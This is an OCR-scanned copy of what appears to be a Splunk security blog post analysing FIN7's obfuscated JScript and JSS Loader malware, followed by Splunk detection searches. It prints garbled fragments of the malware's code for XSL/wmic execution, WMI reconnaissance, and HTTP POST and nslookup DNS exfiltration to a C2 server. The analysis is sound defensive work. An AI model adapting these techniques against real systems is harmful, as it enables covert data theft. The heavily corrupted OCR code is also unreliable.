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T his blog is part 1 and covers FIN7, a highly-skilled group, and the two tools. To find a walkthrough of Remcos
executed via Splunk's Attack Range Local, check out part 2, Detecting_ Remcos Tool Used by FIN7 with Splunk.

FIN7 is a well-organized criminal group composed of highly-skilled individuals that target financial institutions,
hospitality, restaurant, and gambling industries. Until recently, it was known that high-level individuals of this

criminal enterprise were arrested — specifically 3 of them — and extradited to the United States.

This criminal group performed highly technical malicious campaigns which included effective compromise,
exfiltration and fraud using stolen payment cards. Another heist related to the history of this group and actors

includes withdrawing money from ATMs, bypassing all controls as seen in the video linked below.

Source: Mario Mazzochi ATM Carbanak Attack

Carbanak and FIN7 are usually referred to as the same group, although some security researchers believe they

might be two groups using the same malware and should be tracked separately. Without delving deeper into the
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assumptions of being two different groups, however, we can take a look at their tools which is what we can

measure via payload samples and research from the community.

FIN7 is a particular group highly specialized in targeting specific verticals. These individuals carefully and
thoroughly pretexted and pursued their victims in some cases to establish rapport via conversations in order to lure

their victims into clicking on their malicious payloads.

Step 3: Step 4:
Infiltrating System Selling Stolen Cards

FIN7 Malware Scheme

Source: DOJ

According to the Department of Justice, FIN7 group stole approximately 15 million cards in the United States.
This group was significantly successful in its criminal enterprise, including the creation of an apparent
Information Security Technology company where they kept track of their victims using off-the-shelf software like
Atlassian JIRA.
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Due to the notoriety, extent and sophistication of this group and the tools they use, we are going to particularly
focus on FIN7 tools, techniques and procedures. Recently, a specific tool which is a signature of this group known

as the JSS loader has apparently resurfaced, indicated by reports from some security research sites and mentioned

in some security publications.

Based on previous arrests of what was thought to be some of the main characters of this organization, we need to
ask ourselves: is this a splinter from a former group trying to get business back online, or is this a copycat using
the former tools, rewriting them and even attempting to reuse former infrastructure from past campaigns? Or
basically, the group was indeed not affected by arrests and decided to lay low and then reappear as reported

recently by Recorded Future.

We do not have enough information to respond to the above questions, however, we can prepare ourselves to

defend against this group by looking at their tools.
In this two-part blog we are going to address two tools used by this group — JSS Loader and Remcos.
FIN7 Javascript

FIN7 is well known to use a spear-phishing campaign to compromise a machine by downloading or executing an
obfuscated javascript as the first stage. We analyze old and the latest script found in the wild to summarize all

possible behavior it may execute in the targeted machine.

Javascript Execution Using .XSL File

One interesting behavior we saw in one of these variants is how it executes the malicious javascript. First it will

create a copy of legitimate wmic.exe in “user\public” folder, as well as the .xsl file that will be executed using
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command “wmic os get /format:”<malicious>.xsl”. Then the .xsl will execute the actual malicious javascript in

the .txt file extension. Below is the screenshot of that .XSL file.

<xsl:stylesheet version="1.0" xmins:xsl="http://wwww3.0rgM1999/XSL/Transform” xmins:msxsl="urn:schemas-microsoft-com:xsit"
xmins;user="nttp://mycompany.com/mynamespace”>
r<msxsl:script language="JScript” implements-prefix="user">
<![CDATA[

‘function f1() {

var cmd = 'cmd /c start /B cscript //e:jscript ibivigi.txt;

{new ActiveXObject("wscript.shell")).run{cmd, 0, 0);

return **:

Hi=>

</msxsl;script>

<xsl:template match="/">

<xsl:value-of select="user:f1()"/>

</[xsl:template>

</xsl:stylesheet>

We can also see how it uses the cscript.exe application to execute the malicious javascript by using the command
“cscript //e:jscript ibivigi.txt”.

This JS is capable of gathering information to the compromised host by executing several WMI query commands.

Below is the WMI query we saw during our analysis.

Aside from the table above, it queries wmi “Win32_OperatingSystem” to check several items like in the
screenshot below.
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try {

var osRequest = wmi.ExecQuery('select = from win32_OperatingSystem');

var osItems = new Enumerator({osRequest);

var arch = null;

for (; 'osItems.atEnd(); osItems.moveNext()) {
result.push(’'os_namesxx' + osItems.item().Name);
result.push('os_build_numberss' + osItems.item().BuildNumber);
result.push('os_versionssx' + psItems.item().Version);
result.push{'os_spssx' + osItems.item().ServicePackMajorVersion);
result.push('os_memoryssx' + osItems.item().TotalVirtualMemorySize);
result.push({'os_free_memory+=sx' + osItems.item().FreePhysicalMemory);
result.push('os_registered_users+*' + osItems.item().RegisteredUser);
result.push('os_registered_orgésxx' + osItems.item().Organization);
result.push('os_registered_keysxx' + osItems.item().SerialNumber);
result.push('os_last_bootsk«' + osItems.item{).LastBootUpTime);
result.push('os_install_datessx' + osItems.item().InstallDate);
arch = osItems.item().05Architecture;
result.push('os_archsx' + osItems.item().0SArchitecture);
result.push(’'os_product_typess*' + osItems.item().ProductType);
result.push('os_language_codes«x' + osItems.item().0SLanguage);
result.push{'os_timezonex«x' + osItems.item().CurrentTimeZone);
result.push('os_number_of_users=sx' + osItems.item().NumberOfUsers);

It checks if the host has an enabled UAC by querying the “EnableLua” Registry and saves the output as part of its
data gathering.

}
| if (shell.RegRead| "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnablelUA') == 1) {
| result.push( *uvac_leve lewxyes®);
‘ } else {
result.push( *uvac_levelsssno');
e

It will also try to gather AD information by running ActiveXObject “ADSystemInfo” to check if the host is part of

the domain or not.
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| function get_active directory information() {

| try {
var adobj = new ActiveXObject('ADSystemInfo');
return adobj.ComputerName;

} catch (e) {
return Talse;

Data Exfiltration

After gathering all that information, it will be encrypted and sent to its C2 server using the HTTP POST Request

command.

—
|function send data (var type, var data, VAr Srypt [
L S ) i

try {
var http_cbject = new ActiveNObject ("MSHMLI.Server¥MLETTE"):
| if(var_type === "requeat®) |
| n'.:p_-:r.jec:.open('— -7 Sl E'J!‘.C_GEE_PHE."‘. )y + ~7 pe=nams”, false) )
var_data = "zawgkveuwyny] " + func crypt_controller|"sncrypz®,
| " groupesy T=0 RiyFITFOTAIVFCOviywetime=1200006uid=" + uniq 19 + "sig=" 4 func id() + "&" + var_daca):
lelse|
http cbhject.open("POST", func get _path ()} + "7type=contentiid=" + unig id, false):
if(var_crypt) |
var_data = func crypt controller("sncrypt®, var daca);
}
}
heep_object.setRequestHeader ("Ussr-Agent™, "Mozilla/5.0 |[Windows NT 6.1; W -
Firefox/b ") :
hrtep_object.secRequestHeader ("Content et *appli £ d™) ;
htep_cbject.setOprion(l, ! ):

]'.LEF_UB:Q‘CE .aend l\l'ﬂ.‘?_ﬂﬂﬂdl H
return http object.responseTlext:
}jeoatchie) {
return "no”:
}

We also found some variants where it uses DNS exfiltration of data. With this feature, it will encrypt first all the

gathered data, encode it to base64, then query the C2 DNS server using nslookup application with the encoded

data to it. The command is shown in the figure below.
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function nslookup(hst, svr, tp)

{
var rnd = difyntizha;

var ofile = shell.ExpandEnvironmentStrings(ibbucoijyg) + String.

fromCharCode (Cx:C) + gfexegetjegvu + rs(:, =) + injovvehzyc;
res = shell.Run("fcomspect /c nslookup.exe -timeout=5 -retry=3
pe=" + cp + " " + hst + " " 4 svr + " * + ofile # " 2>51", O, 1):

var lines = []:
if (fso.FileExists(ofile))
{
var fileObj = fso.GetFile(ofile):
var ta = fileObj.OpenAsTextStream(l, -2):
while (ts.AtEndOfStream !=— true)
{
lines.push(ts.ReadLine()) :
}
ta.Close():
fso.DeleteFile (ofile) ;

JSSLoader

FIN7 also has some binary backdoor tools that will do a collection of data from the compromised host and send it

to its C2 server. Some variants of JSSloader are compiled to .NET and some are in C++.
C2 Server Communication

In both JSSloader samples, we've seen that it is capable of communicating to its C2 server to request for
commands and exfiltrate collected data from the compromised machine. Below is the user-agent it uses in those

samples:
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.NET compiled of JSSloader

AT o T
mem_move_wrapper (
’
il ! T 4 T s sFari /537,36 ’
Bx73u)
BYTE ) = 12;
[8] = &;
[1] = 8;
LOBYTE( t[2]) = 8;
check_str_len(5rc);
LOBYTE ) = 13;
check_str_len( ¥
LOBYTE [1%]) = 1
LOEYTE 1 =15
JSSloader compiled C++

Collection of Data

Like the obfuscated JScript it is also capable of collecting data by using WMI query in
“Win32_ComputerSystem”, “Win32_Product” and “Win32_Process™.

Additionally, both variants have a function that will list all the files on the desktop of the compromised host that

will also send to its C2 server.

JSSloader Compiled .NET
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-
sub_4078B0(&v63[4], "] ,");

. sub 49?889(& 68[4], "\"desktop file list\": [");
v22 = v89[ea];

|

1
t--" = 1;
if ( v8a[e] != vao[1] )
v24 = (vBa[e] + 48);
do
{
if ( v23 )

'I-

else

sub_4078B0(&v63[4], " ,");
sub_4078Be(&v:53[4], "{");
v25 = sub_4078B(&v65[4], "\"file\": \"");

26 = v24 - 10;
if ( *(.LH - 5) >= @x10 )
v26 = %y "r_,’
v27 = sub_408630(v26, v25, *(v24 - 6));
sub_4e78Be(v27, "\", ");
v28 = sub 49?889(8 "[4], "\'size\"2 \"");
v29 = 3 Ju - 4;
if ( v24[1] >= ex10@ )
/29 = *y29;
vig = sub 408633(v2q, v28, *v24);
sub_4078B0(v2 Y3
sub 49?889(&7%3[4], “');
v24 += 12
}
while ( v24 - 1@ != v89[1] );

ey

C++ compiled JSSloader

There is also a feature in the .net version of JSSloader where it runs Windows command-line tools like

ipconfig.exe and systeminfo.exe then pipe the output to another function that collects and exfiltrates data.
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Taking a Screenshot

Another feature identified is taking a screenshot of the compromised host. The screenshot image will not be
dropped on the disk; rather, it will be saved in a memory stream that will be encoded to base64 and sent to its C2

server.

Parsing Browser Databases

It also has some functions that parse the browser information like history and URL visits of users in both Chrome
and Firefox applications. This is done by accessing the SQLite database of those browsers and executing SQL

queries to its database.
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Parsing Chrome history

Parsing Firefox URL visited
Detections

Jscript Execution Using Cscript App (New)

| tstats ‘security_content_summariesonly' count min(_time) as firstTime max(_time) as lastTime from datamodel=
where (Processes.parent_process_name = "cscript.exe" AND Processes.parent_process = "*//e:jscript*") OR (Proc
by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process_id Processt
| “drop_dm_object_name(Processes)"
| “security_content_ctime(firstTime)"

| “security_content_ctime(lastTime)®
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| tstatn ‘security_costent _sussariesonly’ count smief_time) e firstTies seef_tise) an lastTiee ir i3 wmode | sEndpoint Frocesses
(Processes pareni_process hame = “cscript. ewe’ WD Processes. parent process = “s//e. jseripts®) ‘I (Protesses. process Rame = “cseripl. exe” WD Processes process = “»/fe: jacripte”)
Processes pareni process mrame Processes. parent process Processes process name Processes process_id Processes procers Processes dost Processes. user
rop_dm_ob ject_nase (Proces ses )
smowrity_content _ctime{TirstTise)
sicuT | Ly _content_ctime{lastTime)
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XSL Script Execution With WMIC (New)

| tstats ‘security_content_summariesonly' count min(_time) as firstTime max(_time) as lastTime from datamodel=
where Processes.process = "*os get*" Processes.process="*/format:*" Processes.process = "*.xs1*"
by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process_id Processt
| “drop_dm_object_name(Processes)®
| ‘security_content_ctime(firstTime)"

| “security_content_ctime(lastTime)®

' tatats ~security contant_summeriesenly” count win(_time) o FirstTiee max{ time) o JastTime ¢ Satanode’ =Endpoint, Processes
“n 1 Processes process = 4oy gets® Propesses process=Te/formatos” Prunesses process = "¢, xsle”
Ly Processes.parenl_process_name Processes, parenl _process Frocesses.process_naee Processes.process_id Pr Jprocess Pr dest Pr Juser
| 'droe_de_object_name{Processes)”
| *security_content ctize(firstTime)’
| “security_content_ctime(lastTime)

5 49 wvents (120972021 44 00200 000 1o £/0%/20 21 MAS30.000) Mo Event Sampllag *

Events Patterns Statistics (48] Visualization
20 Par Page = # Format Proview »
" s #
PRrENL_IOCESS_name : parent_process S #  process_name §  process id ¥ process & "
EXCEL . EXE “C:\Program Flles\Microgoft fewuhof e, exe ABRE CiNugers\Poblic) fewohofe exe o6 gL
Off i ce'\Root \OF f | ce 1S\ENCEL . EXE® "C:\Temp\My documents fFarmat  *yajeru, xal®
for Chris =lsb®
o, e C: YW indowa\ systemidiomd axe”® WML Eae SRE4 wmic o3 get fformat:*) xs]®
el oxe "C:\Windows\systesl 2\ ond, exe” W exe LE] wnic o get fformat: "1 xs]®
o, gxe SCAW ndows\ sy tend 2o, exe” WHIL, gxe TTaE wmlc o get /format:"1.xs1°

Non-Chrome Process Accessing Chrome Default Dir (New)

‘wineventlog_security' EventCode=4663 NOT (process_name IN ("*\\chrome.exe", "*\\explorer.exe", "*sql*")) Obje

| stats count min(_time) as firstTime max(_time) as lastTime by Object_Name Object_Type process_name Access_Mas}
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| “security_content_ctime(firstTime)®

| “security_content_ctime(lastTime)®

eventtype=wineventlog security EventCode=4663 (process_name (""ochrome . exe™, "&\\explorer.exe®, "+sqlv")) Object_Name="#\‘\Google\\Chrome\\User Data‘\'\Default="
| stats count min{_time) firstTime max(_time) lagtTime Object_Mame Object_Type process_name Access Mask Accesses process_id EventCode dest user
security_content_ctime{firstTime)

security_content_ctime{lastTine)

< & svents (14/08/2021 10:00:00.000 to 15/08/2021 10:3233.000)  No Event Sampling »

Events Patiens Statigthcs (d) Visuali zation
20 Per Page = # Format Preview =
£ i 4 &
Ohject_Type Access_Mask process_id  EventCode
Onject_Mame & F & process_name = F H Accesses ¢ S - 2 |
WWeers\AoninistratortAppbata\Local \Google\Chrome'\ User ile Temp' jssloader  exe Bul ReadData (or Bx1d14d 4653 |

Data\Defaul t\History ListDirectory

CoWUsers\Administ rater Appbata\Local \Goog le\Chrone\User File C:\Tenp' jssloader  end Ba 20099 READ _CONTROL gx1d14 4663
Data'\Defaul t\History

Cvlsers'uidninlstratoruppiata\Local \Goog Le'\Chrome' Lser File 214 Temp' | 25l pader , exe BukB Readatir (bules Bxtdl4 AG63 1

Data\DeTaul t\History

Non-Firefox Process Access Firefox Profile Dir (New)

‘wineventlog_security' EventCode=4663

NOT (process_name IN ("*\\firefox.exe", "*\\explorer.exe", "*sql*")) Object_Name="*\\AppData\\Roaming\\Mozill
| stats count min(_time) as firstTime max(_time) as lastTime

by Object_Name Object_Type process_name Access_Mask Accesses process_id EventCode dest user

| ‘security_content_ctime(firstTime)"

| “security_content_ctime(lastTime)®

winevent LU@_:—!\' urity’ EventCose=48863

(process_name (*=\\firefox.exe’, "s\\explorer.exe®, "=sgl="}) Object_Name="+\‘Applata’ \Roaming'\MoziLlahvFirefor\\Profiles="
| stats coumt ming tiee) firstlime paxf_time) last¥ime

Ubject_Mame Object_Type process_name Access Mask Accesses process_id Eventlode dest user
security_content_ctime(firstTine)

secursty_content_ctine(last]ime)

+§ events (pefore 1808202 0947450000 Mo Event Sampling =

Events Patiems Stotistics [5) raiion
20 Per Page - # Formnk Preview =
, - ,
Ogect_Type Access Mask propess_id
Ctject_Marme § ’ g process_name 2 # H Arcesses Fa ]
Users\ddmnistrater Appbata\Roaeing\Mozi 11a\Firefou \Profiles File €:%Temp jsslcader exe i o #xha
Wimers Lhdud n o b st or VigpDet 8\ Boss bng Wz | 11a0F irefox\Prof ) lea' 1] Tisech delel i File 10 Teep fenlcader exe il Headlara (o [

Office Application Drop Executable Unit Test (New)

‘sysmon* EventCode=11 Image IN ("*\\winword.exe","*\\excel.exe","*\\powerpnt.exe","*\\mspub.exe","*\\visio.exe
TargetFilename IN ("*.exe","*.d11","*.pif","*.scr","*.js","*.vbs","*.vbe", "*.ps1") AND NOT(TargetFilename IN

| stats count min(_time) as firstTime max(_time) as lastTime by Image TargetFilename ProcessGuid dest user_id
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| ‘security_content_ctime(firstTime)"

| *security_content_ctime(lastTime)®

sysmon’ EventCode=11 Image ("« \iwinword, exe”, "«\\excel.exe”, "*\\powerpnt . exe", "*\\mspub.exe"® . "*\\visio.exe","*\\wordpad.exe" , "*\\wordview.exe"}
TargetFilename (" exe”, "% dl1°, "% pif" "e gor® e, 5" e vba", e vbe®, "% pslT) A (TargetFilename IN ("#\\program Files=" "«\\windowsy\+«"}))
| stats count min(_time) a3 TirstTime man(_time) lastTime by Image TargetFilename ProcessGuid dest user_id

| "security_content_ctime(FirstTima)"

| "securlty_content_ctime{lastTime) "

<1 event 1202021 12:00:00.000 to 13/09/2021 12:14:01.000) No Even! Sampling =

Events Patterns Statistics (1) Visualization

20 Per Page = # Format Praview *

Image = F TargetFilename = Fd ProcessGuid = & dest =
C:\Program Files\Micresoft OFflce\Root\Df Tice16MEXCEL (EXE Ci\Users\Publ ic\fesuhole, exe {TBOTI061-T2TB-6138-4A06-00000000FRQ 1 } win-dc-387 attan

Cmdline Tool Not Executed In CMD Shell (New)

| tstats ‘security_content_summariesonly‘ count min(_time) as firstTime max(_time) as lastTime from datamodel=
where (Processes.process_name = "ipconfig.exe" OR Processes.process_name = "systeminfo.exe")
AND NOT (Processes.parent_process_name = "cmd.exe" OR Processes.parent_process_name = "powershell*" OR Proces
by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process_id Processt
| “drop_dm_object_name(Processes)"
| ‘security_content_ctime(firstTime)"

| ‘security_content_ctime(lastTime)®

Check Elevated CMD using whoami (New)

| tstats ‘security_content_summariesonly' count min(_time) as firstTime max(_time) as lastTime from datamodel=
where Processes.process = "*whoami*" Processes.process = "*/group*" Processes.process = "* find *" Processes
by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.|
| “drop_dm_object_name(Processes)"

| ‘security_content_ctime(firstTime)"

‘security_content_ctime(lastTime)®

| tstats 'security_content sumsariesonly’ count min{_time) firstTime max(_time} a5 lastTime {at smocel=Endpoint . Processes
Processes. process = “swhoami*" Processes.process = "«/group*” Processes.process = "r find »° Processes. process = “=12288="
Processes. dest Processes.user Processes parent_process Processes process_name Processes process Processes. process_id Processes parent_process_id
| “drop_dm_object_name(Processes)’
| “security_content_ctime(firstTime)’
| "security_content_ctime{lastTime})

~ 2 ewvents (15/09/2027 10:00:00.000 1o 16092021 1W0:23:31.000) Mo Evertt Sampiing =

Events Patterns Statistics (1) Wizuslization
20 PerPage » # Formast Preview =
#
dest & i USET = & parent_piocess = a process_name 3 process 3 #
win-dc- Administrator stem32WWScript exe cmd _Exe C:\Vnindows\System32\oad exe” /c whoami

41 attackrange. local /groups | Timd "TZRSR"

Page 14 of 16



https://www.splunk.com /en_us/blog/security/fin7-tools-resurface-in-the-field-splinter-or-copycat.html|

MS Scripting Process Loading WMI Module (New)

‘sysmon® EventCode =7 Image IN ("*\\wscript.exe", "*\\cscript.exe") ImagelLoaded IN ("*\\fastprox.dll", "*\\wber
| stats min(_time) as firstTime max(_time) as lastTime values(ImagelLoaded) as AllImageloaded count

by Image EventCode process_name ProcessId ProcessGuid Computer | where count >= 5

| ‘security_content_ctime(firstTime)"

| “security_content_ctime(lastTime)*

MS Scripting Process Loading L.dap Module (New)

sysmon® EventCode =7 Image IN ("*\\wscript.exe", "*\\cscript.exe") ImagelLoaded IN ("*\\Wldap32.dll", "*\\adsld
| stats min(_time) as firstTime max(_time) as lastTime values(ImagelLoaded) as AllImageloaded count

by Image EventCode process_name ProcessId ProcessGuid Computer | where count >= 2

| ‘security_content_ctime(firstTime)®

| “security_content_ctime(lastTime)®
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